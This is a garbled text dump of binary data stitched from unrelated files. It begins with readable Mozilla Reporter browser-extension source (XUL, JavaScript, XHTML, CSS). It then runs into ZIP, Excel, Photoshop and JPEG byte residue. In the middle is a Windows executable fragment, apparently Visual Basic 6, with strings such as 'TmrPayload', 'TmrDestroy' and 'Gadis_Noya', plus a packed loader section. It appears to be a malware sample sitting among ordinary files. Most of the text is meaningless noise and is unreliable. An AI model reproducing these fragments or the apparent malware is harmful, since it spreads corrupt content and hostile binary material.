- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 4/25/2019 14/25/2019 1MZ
L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
